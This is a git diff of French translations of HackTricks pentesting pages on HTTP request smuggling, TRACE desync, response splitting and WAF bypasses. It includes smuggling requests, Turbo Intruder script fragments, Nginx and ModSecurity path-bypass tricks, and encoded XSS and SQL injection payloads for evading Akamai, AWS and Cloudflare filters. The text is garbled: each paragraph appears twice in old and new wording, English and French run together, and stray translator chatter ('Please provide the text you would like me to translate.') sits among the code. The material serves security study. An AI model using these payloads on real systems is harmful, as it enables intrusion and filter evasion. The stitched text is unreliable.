Si cette requête de contournement empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
Si cette requête détournée empoisonne une entrée de cache destinée au contenu statique (par ex., `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
### Abus de TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abuser TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'exploiter avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode renverra tout en-tête envoyé au serveur comme partie du corps de la réponse. Par exemple :
[**In this post**](https://portswigger.net/research/trace-desync-attack) il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Ceci est dû au fait que cette méthode renvoie tout header envoyé au serveur comme partie du body de la réponse. Par exemple:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Please provide the text you would like me to translate.
Envoyez le contenu du fichier src/pentesting-web/http-request-smuggling/README.md à traduire. Je préserverai exactement le markdown, les tags, les chemins et le code selon vos consignes.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -643,17 +645,17 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Un exemple sur la façon d'abuser de ce comportement serait de **smuggler d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et smuggler **immédiatement après le HEAD une requête TRACE**, qui va **réfléchir les données envoyées**.\
Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **réponse de la requête TRACE sera traitée comme le corps de la réponse HEAD, réfléchissant donc des données arbitraires** dans la réponse.\
Cette réponse sera envoyée à la prochaine requête sur la connexion, donc cela pourrait être **utilisé dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire**.
Un exemple sur la façon d'abuser de ce comportement serait de **smuggle first a HEAD request**. Cette requête recevra en réponse uniquement les **headers** d'une requête GET (**`Content-Type`** parmi eux). Et smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** dans la réponse.\
Cette réponse sera envoyée à la requête suivante sur la connexion, donc cela pourrait être **used in a cached JS file for example to inject arbitrary JS code**.
### Abuser de TRACE via le HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abuser TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Continuer à suivre [**ce post**](https://portswigger.net/research/trace-desync-attack) est suggéré comme une autre façon d'abuser de la méthode TRACE. Comme commenté, smuggler une requête HEAD et une requête TRACE permet de **contrôler certaines données réfléchies** dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
La lecture de [**this post**](https://portswigger.net/research/trace-desync-attack) suggère une autre façon d'abuser de la méthode TRACE. Comme commenté, en smuggling une requête HEAD et une requête TRACE, il est possible de **control some reflected data** dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
Par conséquent, la nouvelle idée serait que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête à la prochaine réponse (ce qui pourrait être utilisé pour effectuer un empoisonnement de cache).
Donc, la nouvelle idée serait que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet indiqué par le Content-Length, permettant à un attaquant de contrôler complètement la requête vers la réponse suivante (ce qui pourrait être utilisé pour effectuer un cache poisoning).
Exemple :
Exemple:
```
GET / HTTP/1.1
Host: example.com
@ -672,7 +674,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps de la HEAD et une fois que le Content-Length de la HEAD se termine, une réponse HTTP valide est dissimulée) :
Générera ces réponses (notez comment la réponse HEAD a un Content-Length faisant que la réponse TRACE fait partie du corps de la HEAD et qu'une fois que le Content-Length de la HEAD prend fin, une réponse HTTP valide est smuggled):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -693,9 +695,10 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### Armer le HTTP Request Smuggling avec la désynchronisation de la réponse HTTP
### Exploitation de HTTP Request Smuggling avec HTTP Response Desynchronisation
Vous avez trouvé une vulnérabilité HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :
Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :
{{#ref}}
../http-response-smuggling-desync.md
@ -703,23 +706,25 @@ Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez
### Autres techniques de HTTP Request Smuggling
- HTTP Request Smuggling dans le navigateur (Côté client)
- Browser HTTP Request Smuggling (Client Side)
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
- Request Smuggling dans les rétrogradations HTTP/2
- Request Smuggling in HTTP/2 Downgrades
{{#ref}}
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Scripts Turbo intruder
## Turbo intruder scripts
### CL.TE
Depuis [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
Source: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
@ -760,7 +765,7 @@ table.add(req)
```
### TE.CL
De : [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -804,14 +809,14 @@ table.add(req)
```
## Outils
- HTTP Hacker (Burp BApp Store) visualiser la concaténation/le framing et le comportement HTTP de bas niveau
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Action personnalisée Burp Repeater "Smuggling or pipelining?"
- HTTP Hacker (Burp BApp Store) visualiser la concaténation/le framing et le comportement HTTP bas niveau
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer) : Cet outil est un fuzzer HTTP basé sur la grammaire utile pour trouver des incohérences étranges dans le request smuggling.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Cet outil est un HTTP Fuzzer basé sur une grammaire, utile pour détecter des incohérences étranges liées au request smuggling.
## Références
@ -824,10 +829,10 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Attention au faux positif : comment distinguer le HTTP pipelining du request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- Attention aux faux fauxpositifs : comment distinguer HTTP pipelining du request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- Attaques de désynchronisation alimentées par le navigateur [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy désynchronisation côté client [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- Desync Attacks pilotés par le navigateur [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy desync côté client [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -7,7 +7,7 @@
Techniques [de cette recherche](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Exemple de règle Nginx :
Exemple de règle Nginx:
```plaintext
location = /admin {
deny all;
@ -17,41 +17,41 @@ location = /admin/ {
deny all;
}
```
Pour éviter les contournements, Nginx effectue une normalisation des chemins avant de les vérifier. Cependant, si le serveur backend effectue une normalisation différente (en supprimant des caractères que Nginx ne supprime pas), il pourrait être possible de contourner cette défense.
Pour empêcher les contournements, Nginx effectue une normalisation du chemin avant de le vérifier. Cependant, si le serveur backend effectue une normalisation différente (supprimant des caractères que Nginx ne supprime pas), il peut être possible de contourner cette protection.
### **NodeJS - Express**
| Version Nginx | **Caractères de contournement Node.js** |
| ------------- | --------------------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
| Nginx Version | **Caractères de contournement pour Node.js** |
| ------------- | -------------------------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Version Nginx | **Caractères de contournement Flask** |
| ------------- | --------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| Nginx Version | **Caractères de contournement pour Flask** |
| ------------- | ------------------------------------------------------------------------ |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Version Nginx | **Caractères de contournement Spring Boot** |
| ------------- | ------------------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| Nginx Version | **Caractères de contournement pour Spring Boot** |
| ------------- | ------------------------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
Configuration FPM Nginx :
Configuration FPM de Nginx:
```plaintext
location = /admin.php {
deny all;
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx est configuré pour bloquer l'accès à `/admin.php`, mais il est possible de contourner cela en accédant à `/admin.php/index.php`.
Nginx est configuré pour bloquer l'accès à `/admin.php` mais il est possible de contourner cela en accédant à `/admin.php/index.php`.
### Comment prévenir
```plaintext
@ -70,24 +70,24 @@ location ~* ^/admin {
deny all;
}
```
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Contournement des règles ModSecurity <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Path Confusion
### Confusion de chemin
[**Dans ce post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) il est expliqué que ModSecurity v3 (jusqu'à 3.0.12), **a mal implémenté la variable `REQUEST_FILENAME`** qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela est dû au fait qu'il effectuait un décodage d'URL pour obtenir le chemin.\
Par conséquent, une requête comme `http://example.com/foo%3f';alert(1);foo=` dans mod security supposera que le chemin est juste `/foo` parce que `%3f` est transformé en `?` terminant le chemin de l'URL, mais en réalité, le chemin que le serveur recevra sera `/foo%3f';alert(1);foo=`.
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) est expliqué que ModSecurity v3 (until 3.0.12), **implémentait incorrectement la variable `REQUEST_FILENAME`** qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela s'explique parce qu'il effectuait un URL decode pour obtenir le chemin.\
Ainsi, une requête comme `http://example.com/foo%3f';alert(1);foo=` dans mod security supposera que le chemin est juste `/foo` parce que `%3f` est transformé en `?` mettant fin au chemin URL, mais en réalité le chemin que le serveur recevra sera `/foo%3f';alert(1);foo=`.
Les variables `REQUEST_BASENAME` et `PATH_INFO` ont également été affectées par ce bug.
Les variables `REQUEST_BASENAME` et `PATH_INFO` étaient également affectées par ce bug.
Quelque chose de similaire s'est produit dans la version 2 de Mod Security qui a permis de contourner une protection empêchant l'accès des utilisateurs à des fichiers avec des extensions spécifiques liées aux fichiers de sauvegarde (comme `.bak`) simplement en envoyant le point encodé en URL `%2e`, par exemple : `https://example.com/backup%2ebak`.
Quelque chose de similaire est survenu dans la version 2 de Mod Security qui permettait de contourner une protection empêchant l'accès aux fichiers avec des extensions spécifiques liées aux fichiers de backup (comme `.bak`) simplement en envoyant le point encodé en URL `%2e`, par exemple : `https://example.com/backup%2ebak`.
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Contournement de AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Malformed Header
### En-tête malformé
[Cette recherche](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentionne qu'il était possible de contourner les règles AWS WAF appliquées sur les en-têtes HTTP en envoyant un en-tête "malformé" qui n'était pas correctement analysé par AWS mais l'était par le serveur backend.
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentionne qu'il était possible de contourner les règles AWS WAF appliquées aux en-têtes HTTP en envoyant un en-tête "malformed" qui n'était pas correctement parsé par AWS mais qui l'était par le serveur backend.
Par exemple, en envoyant la requête suivante avec une injection SQL dans l'en-tête X-Query :
Par exemple, en envoyant la requête suivante avec une SQL injection dans l'en-tête X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -96,49 +96,50 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
Il était possible de contourner AWS WAF car il ne comprenait pas que la ligne suivante faisait partie de la valeur de l'en-tête tandis que le serveur NODEJS le faisait (ceci a été corrigé).
Il était possible de contourner AWS WAF car il ne comprenait pas que la ligne suivante faisait partie de la valeur de l'en-tête alors que le serveur NODEJS le faisait (cela a été corrigé).
## Contournements génériques de WAF
### Limites de taille de requête
### Limites de taille des requêtes
Les WAF ont généralement une certaine limite de longueur des requêtes à vérifier et si une requête POST/PUT/PATCH dépasse cette limite, le WAF ne vérifiera pas la requête.
Généralement, les WAF ont une certaine limite de longueur des requêtes à vérifier et si une requête POST/PUT/PATCH la dépasse, le WAF ne vérifiera pas la requête.
- Pour AWS WAF, vous pouvez [**consulter la documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Taille maximale d'un corps de requête web pouvant être inspecté pour les protections Application Load Balancer et AWS AppSync</td><td>8 Ko</td></tr><tr><td>Taille maximale d'un corps de requête web pouvant être inspecté pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner et Verified Access**</td><td>64 Ko</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Taille maximale d'un corps de requête web pouvant être inspecté pour les protections Application Load Balancer et AWS AppSync</td><td>8 KB</td></tr><tr><td>Taille maximale d'un corps de requête web pouvant être inspecté pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access</td><td>64 KB</td></tr></tbody></table>
- D'après [**la documentation Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Les anciens pare-feu d'application web avec le Core Rule Set 3.1 (ou inférieur) permettent des messages plus grands que **128 Ko** en désactivant l'inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou plus récentes), la même chose peut être faite en désactivant la limite maximale du corps de la requête. Lorsqu'une requête dépasse la limite de taille :
Les anciens Web Application Firewalls avec Core Rule Set 3.1 (ou inférieur) permettent des messages supérieurs à **128 KB** en désactivant l'inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou plus récentes), la même chose peut être faite en désactivant la limite maximale du corps de la requête. Lorsqu'une requête dépasse la limite de taille :
Si **mode de prévention** : Journalise et bloque la requête.\
Si **mode detection** : Inspecte jusqu'à la limite, ignore le reste et journalise si le `Content-Length` dépasse la limite.
Si en **prevention mode** : Enregistre et bloque la requête.\
Si en **detection mode** : Inspecte jusqu'à la limite, ignore le reste, et enregistre si le `Content-Length` dépasse la limite.
- D'après [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
Par défaut, le WAF inspecte seulement les premiers 8 Ko d'une requête. Il peut augmenter la limite jusqu'à 128 Ko en ajoutant des métadonnées avancées.
Par défaut, le WAF n'inspecte que les premiers 8KB d'une requête. Il peut augmenter la limite jusqu'à 128KB en ajoutant Advanced Metadata.
- D'après [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
Jusqu'à 128 Ko.
Jusqu'à 128KB.
### Lacunes d'inspection des actifs statiques (.js GETs)
### Lacunes d'inspection des assets statiques (.js GETs)
Certaines piles CDN/WAF appliquent une inspection de contenu faible ou nulle aux requêtes GET pour les actifs statiques (par exemple, les chemins se terminant par `.js`), tout en appliquant des règles globales comme la limitation de débit et la réputation IP. Combiné avec le cache automatique des extensions statiques, cela peut être exploité pour livrer ou semer des variantes malveillantes qui affectent les réponses HTML suivantes.
Certaines piles CDN/WAF appliquent une inspection de contenu faible ou inexistante aux requêtes GET pour les assets statiques (par exemple les chemins se terminant par `.js`), tout en appliquant des règles globales comme le rate limiting et l'IP reputation. Combiné à la mise en cache automatique des extensions statiques, cela peut être abusé pour délivrer ou semer des variantes malveillantes qui affectent les réponses HTML ultérieures.
Cas d'utilisation pratiques :
Cas d'usage pratiques :
- Envoyer des charges utiles dans des en-têtes non fiables (par exemple, `User-Agent`) sur un GET vers un chemin `.js` pour éviter l'inspection de contenu, puis demander immédiatement le HTML principal pour influencer la variante mise en cache.
- Utiliser une IP fraîche/propre ; une fois qu'une IP est signalée, les changements de routage peuvent rendre la technique peu fiable.
- Dans Burp Repeater, utiliser "Envoyer le groupe en parallèle" (style paquet unique) pour faire courir les deux requêtes (`.js` puis HTML) à travers le même chemin frontal.
- Envoyer des payloads dans des en-têtes non fiables (par ex., `User-Agent`) sur un GET vers un chemin `.js` pour éviter l'inspection de contenu, puis demander immédiatement le HTML principal pour influencer la variante mise en cache.
- Utiliser une IP propre/fraîche ; une fois qu'une IP est signalée, les changements de routage peuvent rendre la technique peu fiable.
- Dans Burp Repeater, utiliser "Send group in parallel" (style single-packet) pour lancer une course entre les deux requêtes (`.js` puis HTML) via le même front-end.
Cela s'associe bien avec l'empoisonnement du cache par réflexion d'en-tête. Voir :
Cela se combine bien avec header-reflection cache poisoning. Voir :
- {{#ref}}
{{#ref}}
cache-deception/README.md
{{#endref}}
- [Comment j'ai trouvé une prise de contrôle de compte 0-Click dans un BBP public et l'ai exploitée pour accéder à des fonctionnalités de niveau Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
```bash
@ -150,7 +151,7 @@ cache-deception/README.md
```
### Compatibilité Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
Selon l'implémentation de la normalisation Unicode (plus d'infos [ici](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés [ici](https://www.compart.com/en/unicode).
Selon l'implémentation de la normalisation Unicode (plus d'infos [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), des caractères partageant la compatibilité Unicode peuvent permettre de contourner le WAF et s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés [here](https://www.compart.com/en/unicode).
#### Exemple <a href="#example" id="example"></a>
```bash
@ -160,13 +161,13 @@ Selon l'implémentation de la normalisation Unicode (plus d'infos [ici](https://
```
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
Comme mentionné dans [**cet article de blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), afin de contourner les WAFs capables de maintenir un contexte de l'entrée utilisateur, nous pourrions abuser des techniques WAF pour normaliser réellement l'entrée des utilisateurs.
Comme mentionné dans [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), pour contourner des WAFs capables de maintenir un contexte de la saisie utilisateur, nous pouvons abuser des techniques du WAF pour en fait normaliser la saisie de l'utilisateur.
Par exemple, dans le post, il est mentionné que **Akamai a décodé une entrée utilisateur 10 fois**. Par conséquent, quelque chose comme `<input/%2525252525252525253e/onfocus` sera vu par Akamai comme `<input/>/onfocus` ce qui **pourrait penser que c'est ok car la balise est fermée**. Cependant, tant que l'application ne décode pas l'entrée 10 fois, la victime verra quelque chose comme `<input/%25252525252525253e/onfocus` qui est **toujours valide pour une attaque XSS**.
Par exemple, dans le post il est indiqué que **Akamai URL decoded a user input 10 times**. Ainsi quelque chose comme `<input/%2525252525252525253e/onfocus` sera vu par Akamai comme `<input/>/onfocus` ce qui **pourrait être considéré comme sûr puisque la balise est fermée**. Cependant, tant que l'application ne décodera pas l'URL de la saisie 10 fois, la victime verra quelque chose comme `<input/%25252525252525253e/onfocus` qui est **toujours valide pour une attaque XSS**.
Par conséquent, cela permet de **cacher des charges utiles dans des composants encodés** que le WAF va décoder et interpréter tandis que la victime ne le fera pas.
Par conséquent, cela permet de **cacher des payloads dans des composants encodés** que le WAF décodera et interprétera tandis que la victime ne le fera pas.
De plus, cela peut être fait non seulement avec des charges utiles encodées en URL mais aussi avec d'autres encodages tels que unicode, hex, octal...
De plus, cela peut être fait non seulement avec des payloads encodés en URL mais aussi avec d'autres encodages tels que unicode, hex, octal...
Dans le post, les contournements finaux suivants sont suggérés :
@ -175,9 +176,9 @@ Dans le post, les contournements finaux suivants sont suggérés :
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Il est également mentionné qu'en fonction de **comment certains WAFs comprennent le contexte** de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permettait de mettre n'importe quoi entre `/*` et `*/` (potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que `/*'or sleep(5)-- -*/` ne sera pas détectée et sera valide car `/*` est la chaîne de départ de l'injection et `*/` est commenté.
Il est également mentionné que selon **la manière dont certains WAFs comprennent le contexte** de la saisie utilisateur, il pourrait être possible de l'abuser. L'exemple proposé dans le blog est qu'Akamai allow(ed) de mettre n'importe quoi entre `/*` et `*/` (probablement parce que ceci est couramment utilisé comme commentaire). Par conséquent, une SQLinjection telle que `/*'or sleep(5)-- -*/` ne sera pas détectée et sera valide car `/*` est la chaîne de démarrage de l'injection et `*/` est commentée.
Ces types de problèmes de contexte peuvent également être utilisés pour **abuser d'autres vulnérabilités que celle attendue** d'être exploitée par le WAF (par exemple, cela pourrait également être utilisé pour exploiter un XSS).
Ce type de problèmes de contexte peut également être utilisé pour **abuser d'autres vulnérabilités que celle attendue** pour être exploitée par le WAF (par ex. cela pourrait aussi être utilisé pour exploiter une XSS).
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
@ -188,15 +189,15 @@ h2c-smuggling.md
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Générer une URL de passerelle API à utiliser avec ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Semblable à fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin Burp Suite qui utilise des IPs de passerelle API
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un nombre déterminé dynamiquement d'instances de conteneurs est activé en fonction de la taille du fichier d'entrée et du facteur de division, avec l'entrée divisée en morceaux pour une exécution parallèle, comme 100 instances traitant 100 morceaux d'un fichier d'entrée de 10 000 lignes avec un facteur de division de 100 lignes.
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un nombre d'instances de conteneurs activées est déterminé dynamiquement en fonction de la taille du fichier d'entrée et du facteur de partitionnement, avec l'entrée découpée en chunks pour exécution parallèle — par exemple 100 instances traitant 100 chunks à partir d'un fichier d'entrée de 10 000 lignes avec un facteur de split de 100 lignes.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Bypasses
